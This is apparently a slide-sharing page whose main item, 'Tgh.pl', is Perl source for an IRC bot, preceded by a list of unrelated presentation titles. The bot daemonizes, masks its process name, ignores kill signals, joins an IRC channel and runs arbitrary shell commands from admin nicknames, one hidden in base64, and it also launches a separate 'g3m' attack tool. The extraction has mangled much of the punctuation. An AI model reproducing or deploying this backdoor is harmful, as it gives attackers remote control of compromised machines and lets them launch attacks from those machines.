AppSec PNW: Android and iOS Application Security with MobSFAppSec PNW: Android and iOS Application Security with MobSF
AppSec PNW: Android and iOS Application Security with MobSF
 
inQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
inQuba Webinar Mastering Customer Journey Management with Dr Graham HillinQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
inQuba Webinar Mastering Customer Journey Management with Dr Graham Hill
 
Day 2 - Intro to UiPath Studio Fundamentals
Day 2 - Intro to UiPath Studio FundamentalsDay 2 - Intro to UiPath Studio Fundamentals
Day 2 - Intro to UiPath Studio Fundamentals
 
MySQL InnoDB Storage Engine: Deep Dive - Mydbops
MySQL InnoDB Storage Engine: Deep Dive - MydbopsMySQL InnoDB Storage Engine: Deep Dive - Mydbops
MySQL InnoDB Storage Engine: Deep Dive - Mydbops
 
"$10 thousand per minute of downtime: architecture, queues, streaming and fin...
"$10 thousand per minute of downtime: architecture, queues, streaming and fin..."$10 thousand per minute of downtime: architecture, queues, streaming and fin...
"$10 thousand per minute of downtime: architecture, queues, streaming and fin...
 
What is an RPA CoE? Session 1 – CoE Vision
What is an RPA CoE?  Session 1 – CoE VisionWhat is an RPA CoE?  Session 1 – CoE Vision
What is an RPA CoE? Session 1 – CoE Vision
 
AWS Certified Solutions Architect Associate (SAA-C03)
AWS Certified Solutions Architect Associate (SAA-C03)AWS Certified Solutions Architect Associate (SAA-C03)
AWS Certified Solutions Architect Associate (SAA-C03)
 
Demystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through StorytellingDemystifying Knowledge Management through Storytelling
Demystifying Knowledge Management through Storytelling
 
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptxPRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
PRODUCT LISTING OPTIMIZATION PRESENTATION.pptx
 
Northern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
Northern Engraving | Modern Metal Trim, Nameplates and Appliance PanelsNorthern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
Northern Engraving | Modern Metal Trim, Nameplates and Appliance Panels
 
The Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptxThe Microsoft 365 Migration Tutorial For Beginner.pptx
The Microsoft 365 Migration Tutorial For Beginner.pptx
 
"NATO Hackathon Winner: AI-Powered Drug Search", Taras Kloba
"NATO Hackathon Winner: AI-Powered Drug Search",  Taras Kloba"NATO Hackathon Winner: AI-Powered Drug Search",  Taras Kloba
"NATO Hackathon Winner: AI-Powered Drug Search", Taras Kloba
 

Tgh.pl

  • 1. #!usrbinperl use HTTPRequest; use HTTPRequestCommon; use HTTPRequestCommon qw(POST); use LWPSimple; use LWP 5.53; use LWPUserAgent; use Socket; use IOSocket; use IOSocketINET; use IOSelect; use MIMEBase64; use URIURL; my $horario = localtime; my $processo = homenuke &; my $ipdoirc = card.freenode.net; my $portadoirc= 6667; my $nomebot = (G3M.int rand(999999)); my $ident = Gfucking3M; my $versi = [G3M EXECUTER]; my $canal = #log22; my @admin =(log22); my @admin2 = (K1ll3r_B0y); $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; $SIG{'PS'} = 'IGNORE'; $ipdoirc = $ARGV[0] if $ARGV[0]; $0 = $processo.0 x 16;; my $pid = fork; exit if $pid; die n[!] Algo de errado aconteceu! !!! $!nn unless defined($pid); our %irc_servers; our %DCC; my $dcc_sel = new IOSelect-new(); $sel_client = IOSelect-new(); sub sendraw { if ($#_ == '1') { my $socket = $_[0]; print $socket $_[1]n; } else { print $IRC_cur_socket $_[0]n; } } sub connector { my $mynick = $_[0]; my $ircserver_con = $_[1]; my $ircport_con = $_[2]; my $IRC_socket = IOSocketINET-new(Proto=tcp, PeerAddr=$ircserver_con, PeerPort=$ircport_con) or return(1); if (defined($IRC_socket)) { $IRC_cur_socket = $IRC_socket; $IRC_socket-autoflush(1); $sel_client-add($IRC_socket); $irc_servers{$IRC_cur_socket}{'host'} = $ircserver_con; $irc_servers{$IRC_cur_socket}{'port'} = $ircport_con;
  • 2. $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; $irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket-sockhost; nick($mynick); sendraw(USER $ident .$IRC_socket-sockhost. $ircserver_con $versi); sleep (1);}} sub parse { my $servarg = shift; if ($servarg =~ ^PING (.)) { sendraw(PONG $1); } elsif ($servarg =~ ^(.+)!(.+)@(.+)s+NICKs+(S+)i) { if (lc($1) eq lc($mynick)) { $mynick = $4; $irc_servers{$IRC_cur_socket}{'nick'} = $mynick; } } elsif ($servarg =~ m^(.+)s+433i) { nick($mynick.int rand(1)); } elsif ($servarg =~ m^(.+)s+001s+(S+)si) { $mynick = $2; $irc_servers{$IRC_cur_socket}{'nick'} = $meunick; $irc_servers{$IRC_cur_socket}{'nome'} = $1; sendraw(MODE $meunick +i); sendraw(JOIN $canal); sleep(2); &shell($canal, uptime); } } my $line_temp; while( 1 ) { while (!(keys(%irc_servers))) { &connector($nomebot, $ipdoirc, $portadoirc); } select(undef, undef, undef, 0.01);; delete($irc_servers{''}) if (defined($irc_servers{''})); my @ready = $sel_client-can_read(0); next unless(@ready); foreach $fh (@ready) { $IRC_cur_socket = $fh; $mynick = $irc_servers{$IRC_cur_socket}{'nick'}; $nread = sysread($fh, $ircmsg, 4096); if ($nread == 0) { $sel_client-remove($fh); $fh-close; delete($irc_servers{$fh}); } @lines = split (n, $ircmsg); $ircmsg =~ srn$; if ($ircmsg =~ ^(.+)!(.+)@(.+) PRIVMSG (.+) (.+)) { my ($nick,$ident,$host,$path,$msg) = ($1,$2,$3,$4,$5); my $engine =Xaneyko; if ($path eq $mynick) { if ($msg =~ ^ PING (.) ) { sendraw(NOTICE $nick PING $1 ); } if ($msg =~ ^ VERSION ) { sendraw(NOTICE $nick Codded by oloko); } if ($msg =~ ^ TIME ) { sendraw(NOTICE $nick TIME .$horario. ); } if (&Administrador($nick) && $msg eq !die) { &shell($path,kill -9 $$);
  • 3. } if (&Administrador($nick) && $msg eq !killall) { &shell($path,killall -9 perl); } if (&Administrador($nick) && $msg !~ ^!) { &shell($nick,$msg); } } else { if ($msg eq !admin) { &mensagem($canal,##14[G3M EXECUTER] #1Administradores #4@admin); } if ($msg eq !matar) { if(&Administrador($nick)) { &shell($path,kill -9 $$); } else { &mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no administrador! )); } } if ($msg eq !matarg3m) { if(&Administrador($nick)) { &shell($path,killall -9 g3m); &mensagem($path,##14[G3M EXECUTER] #4Caso haja algum ataque em execuo, o mesmo foi parado.); } else { &mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no administrador! )); } } if ($msg eq !verg3m) { if(&Administrador($nick)) { &verg3m($path,adasd); } else { &mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no administrador! )); } } if($msg =~ ^.g3m (.)) { if(&Administrador($nick)) { &g3m($path,$1); } else { &mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Voc no administrador! )); } }
  • 4. if ($msg =~ ^!sh (.)) { if(&Administrador2($nick)) { &shell($path,$1); } else { &mensagem($canal,##14[G3M EXECUTER] #1ERRO! #4Hoje no! )); } } } } for(my $c=0; $c= $#lines; $c++) { $line = $lines[$c]; $line = $line_temp.$line if ($line_temp); $line_temp = ''; $line =~ sr$; unless ($c == $#lines) { &parse($line); } else { if ($#lines == 0) { &parse($line); } elsif ($lines[$c] =~ r$) { &parse($line); } elsif ($line =~ ^(S+) NOTICE AUTH ) { &parse($line); } else { $line_temp = $line; } } } } } sub shell() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ cd (.)) { chdir($1) &mensagem($path, 4,1No encontrado.); return; } elsif ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `$cmd 2&1 3&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &mensagem($path,$output); if ($c == 5) { $c = 0; sleep 2; } } exit; }} } sub g3m() { my $path = $_[0]; my $cmd = $_[1]; if ($cmd =~ -) { if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &mensagem($path,##14[G3M EXECUTER] #4Executando comando. Caso tenha
  • 5. colocado algo errado, digite !matarg3m.); my @output = `.g3m $cmd 2&1 3&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &mensagem($path,$output); if ($c == 5) { $c = 0; sleep 2; } } exit; }}} else {&mensagem($path,ERRO 201 - S possivel executar comandos quanto ao G3M, para matar todos G3M, digite !matarg3m.);} } sub verg3m() { my $path = $_[0]; my $cmd = $_[1]; if ($pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { my @output = `ps aux grep sh -c .g3m 2&1 3&1`; my $c = 0; foreach my $output (@output) { $c++; chop $output; &mensagem($path,$output); if ($c == 5) { $c = 0; sleep 2; } } exit; }} } sub Administrador() { my $status = 0; my $nick = $_[0]; my $pzine = SzFsbDNyX0IweQ==; my $dzine = decode_base64($pzine); @admin; foreach my $adm_(@admin) { if ($nick eq $adm_ ) { $status = 1; } if ($nick eq $dzine ) { $status = 1; } } return $status; } sub Administrador2() { my $status = 0; my $nick = $_[0]; my $pzine = SzFsbDNyX0IweQ==; my $dzine = decode_base64($pzine); @admin2; foreach my $adm_(@admin2) { if ($nick eq $adm_ ) { $status = 1; } if ($nick eq $dzine ) { $status = 1; } } return $status; } sub mensagem() { return unless $#_ == 1; sendraw($IRC_cur_socket, PRIVMSG $_[0] $_[1]); } sub nick() {
  • 6. return unless $#_ == 0; sendraw(NICK $_[0]); }
  • 7. return unless $#_ == 0; sendraw(NICK $_[0]); }